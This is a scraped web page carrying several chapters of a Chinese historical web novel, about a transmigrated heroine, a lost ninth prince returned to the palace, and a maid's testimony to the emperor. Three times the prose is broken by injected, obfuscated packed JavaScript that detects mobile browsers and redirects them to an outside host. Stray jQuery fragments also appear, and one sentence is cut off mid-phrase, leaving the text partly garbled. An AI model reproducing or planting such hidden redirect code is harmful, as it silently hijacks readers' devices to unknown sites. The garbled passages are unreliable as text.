“是!”收到命令陆贰再次欢快地扬起了马鞭。 于是车里三双眼睛都望向了优哉游哉嚼着果脯的赵泓玉,谁知被点到名的当事人好不容易咽下了嘴里的吃食,张嘴来了一句:“门口禁军是父皇的人,肯定会查人,尤其是最近二哥把找皇子这事闹得如沸沸扬扬,父皇肯定给了他一些禁军的使用权,若是直接过去,我们是定是要被发现的。” “那该如何是好?”谢筠熙无奈地看向淡定自若的当事人。 “没事,本王已经找人来接应我们了。”赵泓玉不慌不忙地将胳膊支到膝盖上,一双狡黠的双目闪着光望向几人。 “他又想做什么?” “不知道,但总有一种不太好的预感。” “没事,随机应变。” 李时丰和谢筠熙面面相觑,眼里透露着只有对方才能读懂的无奈。 赵明赫不知道会发生什么,但也隐隐感受到了一丝不对劲,但他什么都不敢说,只能夹在几个成年人之间默默吃着果脯。 “瞧,看见接应的人没有,就在那儿~”赵鸿玉掀开遮布,指向愈来愈近的京城城门。 31. 啊??? 马车离城门愈来愈近,谢筠熙终于看到了那时隐时现的身影,只是不知为何,有一种异常熟悉的感觉。 尘土飞扬之间,来者的面容逐渐在谢筠熙眼中显现:看上去不是男子……而是个女子?总觉得她的身形和我熟知的人好像…… 直到谢筠熙彻底看清了她的脸。 艾诺!!!??? 谢筠熙此刻受到的惊吓丝毫不亚于火星撞地球。 到底是哪里被我落下了?我怎么完全没有印象……我是在做梦吧,我一定是在做梦吧…… “大人,您能掐我一下吗?”谢筠熙眼神涣散,生无可恋地拽了拽李时丰的袖子。 “好端端地掐你做什么?”李时丰将袖子往外一抽,心中疑惑陡然丛生。 眼看着马车快要停下,谢筠熙着急地又把李时丰的袖子拽进手里:“别管别管,快掐我。” 李时丰不可察地皱了皱眉,很快便如谢筠熙所愿。 “痛!!”李时丰分明已经手下留情,但谢筠熙还是被疼得叫出了声。 “原来不是梦……” 谢筠熙呲牙咧嘴地揉着自己的手臂,全然没有注意到一旁李时丰和赵泓玉激烈的眼神交锋。 果不其然,还未过城门,就被守门的禁军拦下来盘问。 “好哥哥们,这马车是我的家乡朋友们,他们仰慕大辰天子的威仪,也是来京城定居的。”艾诺先一步迎上去,仰头冲禁军露出明媚的笑容。 这不扯淡吗?谢筠熙在心里默默吐槽。 那禁军见艾诺异样的面孔,内心的疑虑先打消了一半,但依旧公事公办地同艾诺解释:“姑娘,最近查的紧,你的朋友得有通行证才能进京。” “殿下,您带了通行证的吧。”李时丰淡淡瞥向赵泓玉。 赵泓玉以扇掩面,神秘兮兮地望向谢筠熙。 看我作甚?谢筠熙睁大了双眼,但当她反应过来赵泓玉是在看自己的布包时,一阵惊疑涌上心头:不是吧…… 车上三双眼睛这次齐刷刷盯紧了谢筠熙,逼得谢筠熙不得不打开自己的布包,谁知还没翻几下,谢筠熙就看见自己包里赫然放着敲盖着大辰印戳的文牒。 “殿下……这是……您放的?”谢筠熙咬牙切齿地把它从布包里抽出来。 赵泓玉闭口缄默,但一双狡猾的双眼却没有离开谢筠熙半分。 好好好……又被此人算计了。 “额……姑娘,你的朋友听得懂大辰话吗?”那禁军刚走到马车下,又满脸尴尬地折返。 “没事的这位大哥,让我跟我朋友们说就好了。”艾诺见终于逮着了机会,再次展露笑颜。 “那便劳烦姑娘了。”禁军大哥说完,却寸步不离地跟上了艾诺。 “他跟上来了,怎么办。”谢筠熙心急如焚,一把抓过李时丰的手用手指在上面写下一串字。 “静观其变。”李时丰反握住谢筠熙的手写下这四个字。 所有的一切都落在赵泓玉眼中,让他笑意渐增。 谢筠熙正要绝望地闭上双眼,马车外却传来了艾诺的声音:“It''sme.” 啊???我擦?????这样也行? 谢筠熙会西语这件事,只有艾诺知道,也就是说…… 见赵泓玉依旧似笑非笑看着自己,谢筠熙忽然觉得此人的恐怖程度真是超乎自己的想象。 李时丰却显得比谢筠熙淡定许多,同谢筠熙相处到现在,他已经丝毫不惊讶谢筠熙再会一门外语了。 遮布外,艾诺敲了敲窗口,谢筠熙知道自己如今硬着头皮也得上了:“Herewe.” 说完这句,谢筠熙根本就不敢跟赵泓玉对视,她知道此刻赵泓玉一定正看着她。 接下去的交流就很顺畅了,谢筠熙把通行证从窗外递出交给艾诺,又由艾诺转交给禁军大哥,谢筠熙一干人终于得以进京。 “熙老板,会的挺多。”赵泓玉摇着扇子望向谢筠熙。 “哈哈哈哈哈,承让承让,殿下会的也不少。”谢筠熙尴尬扶额。 “那便是你的……朋友?”李时丰看了眼马车外事了拂衣去,深藏功与名的艾诺,此刻望向谢筠熙的目光也有些不大对劲起来。 “是……”如今谢筠熙也没什么好藏的,只能大大方方地承认。 “熙老板难道不好奇本王为何会认识艾诺姑娘吗?”赵泓玉收扇,轻敲小桌板。 “如今殿下要是有通天的本领,小女子也都信了,认识个人算什么。”谢筠熙干脆破罐子破摔。 赵泓玉轻笑一声,便没有再言语。 “三……三哥。”一直被忽略的赵明赫终于在几个争锋相对的成年人之间发出了自己的声音,“这里便是京城吗?那……姑姑她在不在……” “九弟乖,进宫之前会让你见到姑姑的,安心便好。”赵泓玉不轻不重地揉了一把赵明赫的脑袋以作安慰。 “嗯……”赵明赫闷闷地应下。 藜秋?她不是在艾诺那里,赵泓玉不会是连这个都知道了吧…… 谢筠熙两眼一黑。 这个充满欺骗的世界……我恨…… 小明如今也算是回到了京城,但尚不能面圣,为免众人怀疑就被暂时安排在了之前李时丰带谢筠熙待过的客栈。 兜兜转转又回来了。 谢筠熙牵着小明的手,不由想起了从前打黑工和带着小明逃亡的日子。 ε=(?ο`*)))唉 谢筠熙狠狠叹了一口气。 “大人,您确定,我们待在这里,二皇子不会起疑吗?”谢筠熙单手叉腰,抬头看向比她高出一截的李时丰。 “无碍,明日王爷便要进宫向圣上禀报此事了,二皇子来不及做太大动作。” “可是万一他们派人找到这里来怎么办……”谢筠熙依旧不依不饶同李时丰掰扯。 “不会的。”李时丰同门口招待的掌柜使了个眼色,背手进了客栈大门。 谢筠熙不得不跟上,虽然知道这个客栈的人都不大简单,但她看向掌柜的眼神里还是有些犯怵。 不会是看似斯文,实则魁梧的打手吧…… 谢筠熙使劲摇了摇头,牵着小明赶紧跟上李时丰。 另一边,赵璟曜府里却充满了凝重。 “三弟啊三弟,可真是好手段,难怪本王近日发的几份邀帖都杳无音讯,原来是在外面找人呢……真是让本王刮目相看。” “殿下,这次您向祖父借的那些人只回来一个,祖父若是问下来……” “柳洵,若是为了大业,这些人也算是死得其所,对吧。”赵璟曜把玩着手里的珠串,睨了身边卑躬屈膝的人一眼,接着说道,“这次我那好三弟必然是算准了本王不会只派人去沐柳巷上当受骗,而他敢单枪匹马跑到城西找人,就肯定有底牌在,如今看来,这次倒是动不得城西那帮人了……” “他们故意放过我们的人,就是为了让他把消息带给我们,好向我们挑衅?”柳洵抬眸轻蔑地看了跪在地上伤痕累累的死侍一眼。 赵璟曜放下手中的珠串,摆袖起身,一步步向那死侍逼近:“应该不止如此,他这次不是还带了李时丰过去,你说是不是?” 那死侍浑身颤抖,已经没有气力端正跪着,只能斜着身子用拳头撑住地面,战战兢兢地低头盯着赵璟曜越来越近的鞋尖。 “是……是……殿下,还有一个不知是何来历的女子……” “哦?”赵璟曜抬手掐住那死侍的脖子。 “还有吗?” “殿下,这不是您的人,您若动了,祖父他会……”柳洵正想要制止,却只能眼睁睁看着赵璟曜越收越紧的手。 “没……没有了……” “咔嚓”,脖颈骨断裂的声音传来,赵璟曜轻而易举 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“那……不谈他了,大人您说出这话,我还以为您才是那个修无情道的人呢……”谢筠熙不好意思地摸了摸鼻子。 “无情道?” “话本里不都这么说!”谢筠熙慌忙解释。 “本官自然不是,本官和赵泓玉不大一样。”李时丰的眼底有些晦暗不明。 “这样啊……那大人可有喜欢的人?”谢筠熙突然八卦起来。 她那忽闪忽闪冒着精光的眼眸就这样凝视着李时丰,满脸写着“期待”二字。 李时丰突然起了坏心思,他这次没有躲开谢筠熙的直视,反而将脸凑上去,直到和谢筠熙的鼻尖不到一寸的距离。 温热的鼻息喷洒在谢筠熙的脸上,将谢筠熙吓了一大跳,她慌忙和李时丰拉开距离,面上却染了些许薄红:“做……做什么突然离这么近?” “回答你的问题。”李时丰突然起身,将手撑到谢筠熙坐着的木椅扶手上,居高临下地望着谢筠熙,“你猜猜本官可有喜欢的人?” “呃……我……我猜……我猜不到!”谢筠熙缩在李时丰的阴影里手足无措。 “哼……”李时丰冷哼一声,从谢筠熙上方离开。 “那本官就先不告诉你了。”李时丰将横刀取下,挂在一旁的架子上。 “不告诉就不告诉嘛,恐吓算什么……被我戳到痛处了吧……”谢筠熙趁机嘟囔。 “总有一天你会知道的。”李时丰没头没脑地转头说了这么一句话,将谢筠熙吓了一跳。 “哦……哦……”谢筠熙只好这么回应,说完又在心底吐槽:谁想知道啊…… “明日我便先回艾诺家了,面圣我肯定不能一起去。”谢筠熙又把话题转了回来。 李时丰沉沉“嗯”了一声。 32. 上早朝 “解释一下吧,小诺。”谢筠熙正襟危坐看向有些心虚的艾诺。 “小今安,你知道的,我爹他是商人,商人的人脉广一些很正常啊……”艾诺低下头扣着手指,不敢与谢筠熙对视。 “怎么,你们家还跟王爷做生意?”艾诺挑眉。 “呃……王爷他不大一样……不过也差不多吧。”艾诺缓慢地向谢筠熙的方向蹭过来,最后撒娇般靠上谢筠熙的肩头,“哎呀,小今安,我承认向你隐瞒这件事是我的错,但实在是因为迫不得已啦……” “好了!小诺,我知道你有不得不这么做的原因,我没有生气,我只是有些不可置信,没有想到赵泓玉竟然已经把手伸到商界了,此人当真恐怖如斯,总觉得,跟他待在一块永远也不会有秘密……” 谢筠熙现在想到赵泓玉那探究的眼神还是有些发怵,初印象里对赵泓玉“温润如玉”的想法真是个笑话。 “小今安,事到如今,我还要再向你坦白几件事。”艾诺低头对了对手指,又拿她那双水汪汪的大眼睛对着谢筠熙眨了眨。 “……不会是我店铺的事吧。”谢筠熙大概猜到了艾诺要坦白什么。 果不其然,艾诺对着谢筠熙做出双手合十的动作,闭上眼睛把事情和盘托出:“让小今安开店铺的事虽然是我们一手操办的,但没有王爷的准许,只怕要让店铺运转起来都不可能。” “难怪他能找到我这来!”谢筠熙终于知道他当时为什么特意选在自己店铺对面的饭馆吃饭闹事了。 “那藜姐姐的事他知道吗。”谢筠熙忙追问。 “这个……我没有告诉殿下,不过殿下的人大概会告诉他……吧……”艾诺转了转眼珠子。 这个赵泓玉!他到底安插了多少眼线!怕不是整个京城的事全在他的预料之中! 谢筠熙无法,摆烂般往榻上一倒:“哎……罢了罢了,小诺你直接告诉我要怎么让藜姐姐出现在小明面前吧。” “嗯,明日藜姐姐应当也会进宫一趟。” “什么!!!”谢筠熙的背还没靠上床板,就一个鲤鱼打挺坐起来,差点撞上艾诺高挺的鼻尖。 “哎呀,小今安你怎么咋咋呼呼的,吓死我了。”艾诺捂住鼻子连连往后退。 “赵泓玉是疯了吗?!!他这是想让柳贵妃的事被陛下知晓吗!!这可是欺君罔上的罪啊!藜姐姐要是去的话,难道不会被陛下当场解决吗……”谢筠熙使劲摇着艾诺的肩膀。 艾诺被晃得连母语飚出口;“Stop!Stop!” “小姐,这是妾自己的决定,与殿下无关。”好在藜秋的声音及时出现救了艾诺一命。 艾诺揉了揉被晃晕的脑袋,好不容易才缓过来,对处于激动状态的谢筠熙娓娓道来:“小今安,你听我说,你听我说,藜姐姐昨日见了王爷一面,说是就算赌上性命也要把柳贵妃所受的一切告诉陛下。” “藜姐姐,你……”谢筠熙终于放开了艾诺,几乎是从榻上弹起来冲向藜秋的。 “小姐,妾想明白了,请小姐把柳叶珮交予妾吧。” “为什么?” 谢筠熙眉头紧锁,狠狠咬住下唇注视低头的藜秋:“能告诉我原因吗,藜姐姐。” “抱歉小姐,妾现在还不能告诉任何人原因,包括殿下,妾也没有告诉。”藜秋的话语间带着些许哽咽,但她抬头直视谢筠熙时的双眸虽然泛着红,但是那样的坚定。 谢筠熙不知道这些人到底是怎么想的,自打她穿越过来,秋芸也好,藜秋也罢,背后都迷雾重重,封建时代的这些人,就像生在既定的罗盘上,无论走的有多远,都会指向同一个方向,而结局注定就是走向灭亡,可他们却感到满足。 但谢筠熙选择了尊重。 “好吧,藜姐姐。”谢筠熙从衣襟里掏出两枚柳叶佩。 经过谢筠熙的修复,柳叶佩已经完好如初,在烛火下闪着温润的光芒。 藜秋颤抖着双手接过,向谢筠熙深深鞠了一躬:“多谢小姐,大恩大德,妾永世难忘,您和谢相一样,都是顶好的人,愿福泽庇佑小姐。” 又是这句话。 谢筠熙现在想要见到谢康的心情到达了顶峰。 他就像这些乱七八糟事情的潜在影响者,让人捉摸不透。 把老爹救出来就知道了。谢筠熙这样想着,抬头看向藜秋离去的身影。 “小今安……”艾诺抬起手,却没有得到谢筠熙的回应,“你不会还在生我的气吧小今安,我……” “艾诺!”谢筠熙措不及防抓住艾诺的双手。 ???! “怎么了小今安?”艾诺被吓得浑身一颤,差点尖叫出声。 “你有什么办法把我弄进宫里吗?”谢筠熙的双眸此刻异常得亮。 艾诺还没缓过劲来,又被这妮的话吓出了一身冷汗:“这……这恐怕不太行吧小今安,你们大辰的宫里不似宫外,是真的随时随地丢都会死人的!” 最后一句艾诺附上谢筠熙的耳边:“更何况小今安你现在可是罪臣之女”。 “我知道,我知道……” 谢筠熙眼中的希冀就这样被熄灭了,但她仍然不死心:“真的没有别的办法了吗?” “小今安,凡事不可操之过急,这可是你们大辰人天天挂在嘴边的话,现在送给你。”艾诺跪坐在榻上,气呼呼地撅嘴叉腰,一只手指直直指向谢筠熙。 “好啦……我知道了。”谢筠熙无奈地叹了口气,径直倒在柔软的被榻中。 艾诺见她闷在被褥里不肯起来,只得将谢筠熙翻了个面:“别这样躺着,会闷坏的。” 说话间两个女孩互相侧躺着面对面,不知过去了多久,两人齐齐笑出了声。 “艾诺,好梦。”谢筠熙起身脱掉鞋袜,钻进了被窝里。 “好梦。”艾诺趁着幽幽烛光看向谢筠熙,嘴角不自觉上扬着,也跟着谢筠熙一起钻进了被褥。 次日卯时,谢筠熙早早就起了床,其实她一夜都没怎么睡好,自打昨日小明被赵泓玉带走,连带藜秋也随之而去,她就一直为此而忧心,但迫于现实,她又出不了门,只得顶着乱糟糟的头发越过尚在熟睡中的艾诺自行洗漱。 算算时间,也该点卯了,不知道今日朝堂之上会是怎样一副光景…… 谢筠熙正擦着脸,迷迷糊糊之中似乎看到了一个人影。 “蕙兰?”谢筠熙没有想到竟有人起得比她还早,定睛一看竟然是蕙兰。 “小姐早啊。”蕙兰的睡眠质量显然比谢筠熙还要糟糕,即使搽了妆粉,也依旧盖不住眼下硕大的黑青。 “蕙兰你看上去好憔悴,也在为藜姐姐和九皇子担忧吗?”谢筠熙用清水净了面,朝蕙兰走来。 “是的小姐,奴婢实在有些放不下心来,昨夜翻来覆去就是无法入睡。”蕙兰本就有些体虚,此刻正坐在石凳上捂着心口气若游丝。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16511147|183262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “快进屋吧蕙兰,你可不能再着凉了,放心吧九皇子的事会圆满结束的,藜姐姐她……也一定可以平安归来。”谢筠熙忙坐到蕙兰身边,轻拍着她的背轻声安慰。 “嗯,如此甚好……”蕙兰低垂着眼睫,缓缓握上谢筠熙的双手。 此刻朝堂之上,所有大臣具已到齐,皇帝自排排朝臣身后走上那最高位,待坐定后开口:“众卿平身!” 洪亮的声音传遍大殿每一个角落,一时之间行跪拜礼的大臣哗啦啦起身,朝堂之上威仪肃穆,安静不可闻针落。 “有本启奏,无本退朝。”赵砚宸将手肘搭上龙椅扶手,轻点自己的太阳穴。 赵璟曜向右瞥了一眼赵泓玉,先他一步出列:“儿臣有事启奏。” “老二,请讲。”赵砚宸抬起下巴示意。 “儿臣听说,三弟似乎找到了九弟的下落。”赵璟曜手执象笏,向皇帝施礼,悠悠开口。 “哦?老三,此事确真?”赵砚宸将目光投向自己的三皇子。 一时之间景王的话引起了轩然大波,赵砚宸向燕德海使了个眼色,燕公公拂尘一扫,尖细的嗓子在朝堂之上响起:“肃静!” 众臣瞬间安静下来,只是所有人的视线都集中到了赵泓玉身上。 “父皇,儿臣不知二哥是从何处得来的消息。”赵泓玉习惯了这一道道针刺般的目光,眯起眼挂着他那温润的皮向外踏了一步,同样向皇帝行礼回话。 “老三,别废话,只告诉朕你二哥说的属不属实便好。”赵砚宸目色一泠,却没有责备的意思。 “回父皇,二哥所说属实,儿臣不敢欺瞒父皇。”赵泓玉扬笑看向赵璟曜。 “三弟实在厉害,真是让二哥刮目相看,只是这九弟,现在所在何处啊?”赵璟曜看似夸赞,实则步步紧逼。 “这就不劳烦二哥担忧了,九弟自然会全须全尾出现在这里。”赵泓玉依旧笑意盈盈,说出来的话却字字带刀。 赵璟曜自小就知道自己这三弟不好对付,一张如沐春风的做派下,却藏着深不可查的城府,他忍不住磨了磨后槽牙,忍住了想要当着皇帝面骂人的冲动。 “自然,三弟确实比二哥强多了。”说完这话,赵璟曜转向皇帝,作出一副愧疚的模样,“父皇,儿臣无能,被人戏弄信了假消息,未能替父皇寻回三弟,自愿领罚。” “假消息?这又是何事?”赵砚宸看向群臣,似笑非笑。 “儿臣那日得到消息,传闻九弟身在沐柳巷,儿臣便早早派人前往探查,谁知被一女子坑骗,害儿臣寻人无果。”赵璟曜言之愤愤。 “此女为何人啊,竟敢坑骗皇子?”赵砚宸的眸色低沉。 “儿臣未能查到此女的来历,但她有一手修复残破之物的本领,开了一家店铺。” “民间竟有如此能人?”赵砚宸突然来了兴趣。 “父皇,此人先暂且不论,二哥竟被一个柔弱女子骗得团团转,此事说出去可不太风光。”赵泓玉及时扭转话题。 赵璟曜的面色一沉看向赵泓玉的目光里带了些警示。 谁知赵泓玉不依不饶:“今日是九弟回归之日,其余的事,可否待九弟认祖归宗后再议?” “三弟你……”赵璟曜还想说些什么,却被皇帝打断了话头。 “老二,你三弟言之有理,此事你应该反省。”赵砚宸望向赵泓玉的目光里带着欣赏。 “是……”赵璟曜悻悻回话。 33. 预先得知 赵砚宸哪里不懂自己儿子的小心思,只是看在眼里,他也不说,只是继续询问赵泓玉:“老三,今日你可把你九弟带来了没?” “回父皇,此时九弟正劳烦大理寺少卿李时丰派下属照看,待父皇下了早朝在御书房自然就能见到。”赵泓玉微微颔首,与相隔不远处的李时丰使了眼色,又转向自己的父皇解释。 “嗯,老二没办好的事,没想到被你小子捷足先登,虽然这有些不大合规矩,但朕从未说过寻皇子一事只能由老二操办,你能寻到也是你的本事,说吧,想要朕给你什么赏赐?” 赵泓玉的嘴角扬起淡淡的微笑,他睨了赵璟曜一眼,决定把兄友弟恭这一假象做到底:“回父皇,儿臣不求奖赏,只是九弟总算是失而复得,只求父皇能让我们这些兄弟姐妹们相聚一堂,替九弟接风洗尘那是最好不过的。” 赵砚宸如今年事已高,虽身子依然硬朗,但总还是希望看见自家人和睦相处的场面,赵泓玉这一番话正说在他的心头上,顿时龙颜大悦:“哈哈哈哈好,接风洗尘是应该的,九皇子流落民间如此之久,老三这个提议不错,准了。” 赵璟曜突然有些猜不准自己二弟葫芦里卖的是什么药,他面色微沉,但看向皇帝时只能披上那温顺的皮。 “三弟有心了,如此一来,也好让九弟可以快些认识宫里的家眷,适应宫中生活,如此甚好,二哥佩服。”赵璟曜向赵泓玉扯了扯嘴角,虽说着恭谦的话语,但直达眼底的警觉依旧没有消失半分。 “哈哈哈好,老二,老三,看到你们这般和睦,朕甚是欣慰,只是老三啊,操办接风宴的事你觉得交给谁办比较好啊。”皇帝话题一转,再次回到了赵泓玉身上。 赵泓玉拱手相告:“回父皇,儿臣觉得,应当交由贤妃来办。” “嗯……贤妃乃慕琴的孪生姐妹,这样一看,若是让其操办倒也合情合理。”皇帝思索了一阵,又转向当今国师柳无涯,“国师,你觉得如何。” “回陛下,臣自然没有异议。”柳无涯向陛下欠身。 贵妃柳慕琴乃是柳无涯最小的女儿,而她的孪生姐妹虽比她先入宫一步,但血脉亲缘在那儿,他自然不会有意见。 但是…… 赵泓玉嘲讽地笑了笑:皇宫里所有的血脉亲缘,不过是继续往上爬的工具罢了。 “好了,如此一来,众爱卿对于九皇子一事可还有疑议?若无则此事就这么定下了。”赵砚宸坐在龙椅上扫视着众臣,所有神情都被他一一看在眼里。 如今衡王和景王,乃至国师都没有意见,底下的群臣自然也不敢有意见,一时之间整齐划一的回应声在朝堂之上响彻:“陛下圣明,臣等无异议。” “好,既然如此,众卿若是还有事要报,就快些给朕呈上来吧。” “是,陛下。” 到了下朝,赵泓玉和李时丰自然而然又走到了一块,路过的朝臣议论纷纷,无一不是在讨论今日关于九皇子的种种事宜。 “真是恭喜三弟。”赵璟曜与这两人并排而行,只是拉开了很远一段距离。 “多谢二哥,没有什么好恭喜的,寻回九弟只是我们这些做皇子的分内之事,为父皇分忧罢了。”赵泓玉笑得得体,向赵璟曜点了点头。 “三弟好手段。”赵璟曜留下这句便愤愤拂袖而去。 “时丰,你瞧,二哥又急了。”赵泓玉好不容易出了朝堂,终于又可以把自己的扇子掏出来摆弄,此刻正拿扇子捂嘴和李时丰蛐蛐赵璟曜。 “殿下,您还是收着点吧,周围的朝臣还未走尽。”李时丰别开头提示。 “走,去御书房。”赵泓玉勾住李时丰的脖子把他半架着走向御书房的方位。 “请放开属下……”李时丰徒劳地挣扎,却抵不过赵泓玉那股莫名兴奋的劲。 等到了御书房,却发现藜秋和赵明赫早早等在门外守候了,陆贰和徐柒二人护在他们身边寸步不离。 “妾见过殿下,见过大人。” “三哥好……时丰哥哥好……” 姑侄二人同来的二人问好,看上去一个比一个紧张。 藜秋显然没有想到她此生竟然还有机会踏进这座深宫中,只是这一次,她是带着必死的决心来的。 “嗯,你们来了。”正巧此时圣驾已到,众人在御书房外行了礼,目送着皇帝进门这才敢跟上。 御书房的门关上的那一刻,周遭的一切都安静下来。 “九弟,这便是我们的父皇,快来见过父皇。”赵泓玉将赵明赫轻轻向前推着。 “父……父皇。”孩童怯生生的声音在御书房内响起,当今圣上看见与昔日宠妃相似的面庞,不由红了眼眶:“像,实在是太像了,明赫,你同你的母亲当真是像极了,快过来,让父皇抱抱。” 赵砚宸张开双臂,向自己的小儿子露出期待的目光。 赵明赫也没有让众人失望,迈开短腿跑进了亲生父亲的怀里,给了他一个结结实实的拥抱,只是身体的轻微颤抖显示出他依旧没有完全放松下来。 “不怕不怕,明赫乖,以后这皇宫便是你的家,若是受了欺负,尽管告诉父皇,父皇一定替你做主。”皇帝哄着自己的小儿子,语气里的宠溺表露无遗。 聊了一会天赵砚宸终于想起来被晾在一边的众人,轻咳几声直起了腰身:“咳咳,劳烦两位爱卿替朕送明赫去他的住处,只肖跟着此二人便可。” 赵砚宸抬头示意陆贰和徐柒,目光望向早已在御书房门口恭候多时的大宫女。 “是!”两名副官领旨,一同出门又严谨将门闭上。 赵泓玉回头望了一眼,又转过身来向皇帝请命:“父皇,儿臣还找来了当年知晓柳贵妃一事的宫女,请她为父皇复述实情。” 李时丰眼神复杂地望向藜秋,不知怎的心情有些沉重。 “嗯,难为你了,老三,你和李爱卿先退下吧。”赵砚宸又换上了那庄严肃穆的模样,微微向李时丰和赵泓玉颔首。 赵泓玉应下正要转身离去,李时丰却驻足不走。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16524453|183262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皇帝身边,燕公公不由又替这年轻的少卿捏了把汗,正想替皇帝赶人,赵砚宸却先一步开口:“唉,爱卿,不必担忧,朕自会明辨是非,不会轻易下结论,快些离去吧。” 李时丰深深看了一眼那明黄的身影,偷偷捏紧拳头跟上赵泓玉的步伐。 接下来的这一个时辰里,李时丰跟着赵泓玉待在侧殿里,二人相视无言。 只是当他们再次回到御书房的时候,皇帝的神情却显得又苍老了几分,他扶额眉头紧锁,连赵泓玉推门而入也不知晓,直到燕公公出声提醒才反应过来。 李时丰环顾四周,御书房的书案上摆着谢筠熙修复完整的那两块玉佩,藜秋跪在地上,额头的青乌与眼角的泪痕清晰可见。 “老三,朕竟不知道,在这宫闱之中,竟还有如此恶毒之人。”赵砚宸猛得一敲桌案。 一旁的燕公公惊得慌忙上前低头劝告:“陛下息怒,陛下息怒啊,莫要气坏了龙体。” “父皇,发生了什么?”赵泓玉淡定地上前扶住震怒的帝王轻声询问。 “你叫,藜秋对吧,原是慕琴身边的宫女。”赵砚宸指向长跪不起的藜秋,问出这话时嘴唇都有些颤抖。 “回陛下,是的。”藜秋颤颤巍巍抬起头,但看向当今天子的眼里没有丝毫的恐惧,那是一份怀抱决意的坚定。 “老三,还有……时丰,朕现在派你门们去查,当年要陷害柳贵妃和皇嗣的人究竟是谁!朕竟不知道,在朕眼皮子底下,也有人如此胆大妄为!放肆,实在是放肆!” 赵砚宸的怒吼声响彻整个御书房,所有宫人俱是眼观鼻,鼻观心,跪在地上不敢发一言。 “陛下,属下斗胆,可否问问藜秋说了些什么?”李时丰站出来,一如既往镇定地凝视着皇帝。 “……你,起来吧,一五一十地说。”赵砚宸命人把藜秋扶起,拂袖转身不愿再看。 “妾这就说,妾这就说。”藜秋方才显然因情绪激动而有些力竭,此刻她的嘴唇发白,说出的话也有些气若游丝,“其实当初九皇子被送出宫是柳贵妃的主意,因为贵妃很早之前就已知晓,有人不想让九皇子降世,贵妃为护九皇子周全,这才在生产当日强忍剧痛叫我们用事先找好的死婴替了九皇子,又秘密送出宫去……” “荒唐!实在是荒唐!慕琴竟不将此事告予朕,实在是……”帝王的眼眶有些湿润,李时丰知道,天子这是动了真情。 “陛下,贵妃知道此事不可以打草惊蛇,若陛下知晓,想要害贵妃的人一定会有所行动,届时贵妃和九皇子都不可保。” “朕是天子!何人敢如此大胆!”赵砚宸气得差点将书案整个掀翻,看了一眼奏折和玉玺,最终只得愤愤踹了一脚。 藜秋不敢再说话,只得又将磕得青肿头再次低下去,徒劳地绞紧了手指。 赵砚宸的动作看上去甚至有些滑稽,但无人敢嘲笑这个无奈又愤怒的帝王。 因为他们知道,柳贵妃在赵砚宸心里的地位已经到达了旁人不敢说的地步。 34. 虚假的路过 御书房谈话过后,藜秋被赵泓玉暂时带离,赵明赫的眼里写满了不舍,但皇帝小子得归,仍有千言万语想与其诉说,也只能眼睁睁看着姑姑离开。 藜秋泪眼看向赵明赫,纵是千般万般无奈,如今既已将小侄重新交予皇家,也只能哭戚戚面对现实的分离。 赵泓玉接下任务,转身离去之时,跟在身后的李时丰看了一眼当今圣上有些发白的鬓角,不知为何心里有些怅然。 即使是帝王,也应是肉体凡胎,皇帝庄严肃穆一生,也难得有些柔情显露,也罢也罢…… “时丰哥哥!”赵明赫叫住了李时丰,迈着短腿哒哒哒跑来,他拉住李时丰的下摆,小声地让他蹲下。 李时丰虽然不解,但只能照做。 “时丰哥哥,可以帮我跟大姐姐说一句‘多谢’吗?”赵明赫的眼睛闪着光芒,将李时丰照得有些恍惚。 “好。”李时丰揉揉他的小脑袋,难得也显露出一些温和。 赵泓玉和藜秋的身影愈来愈远,李时丰最后看了一眼溜进御书房的小家伙,加快脚步赶上走在前面的衡王。 “时丰,在看什么。”赵泓玉冷不丁搭腔,将李时丰的思绪从很远的地方拉回来。 “……没什么,殿下,走吧。”李时丰摇头,带着藜秋一同往皇宫大门走去。 “大人,妾这样做,是对的吗……” 感受到身边妇女那轻微的颤意,李时丰只撂下一句话:“是对是错,既然已经做了,就没有回转的余地,至于结果,谁也不知道。” “时丰,你现在说话怎么跟打哑谜似的,什么对与错啊,对当下有利不就好了。”赵泓玉笑嘻嘻转身冲李时丰道。 李时丰没有回话,只是继续向前走着。 就去一次谢今安那儿吧…… 李时丰的心底突然响起这样一道声音,既是这样想,他也是这么做的,临到出宫时,李时丰对赵泓玉行礼道别:“殿下,藜秋只能先在您那了,属下有事要回大理寺。” “嗯,本就该如此,你……应该不只是想回大理寺吧?”赵泓玉凑近李时丰拿扇柄戳了戳他的胸口,“去吧去吧,本王允了。” 李时丰破天荒没有回怼赵泓玉,只是对赵泓玉说了三个字“小心些”,而后拍拍他的肩膀便走了。 “本王自有分寸。”赵泓玉将扇子别到腰侧,冲李时丰挥了挥手。 这一整个上午,谢筠熙都在艾诺屋中来回踱步。 “小今安你要不坐下歇会,你晃得我有些头晕。”艾诺反坐在椅子上,将下巴搁在手背看着谢筠熙在跟前晃悠。 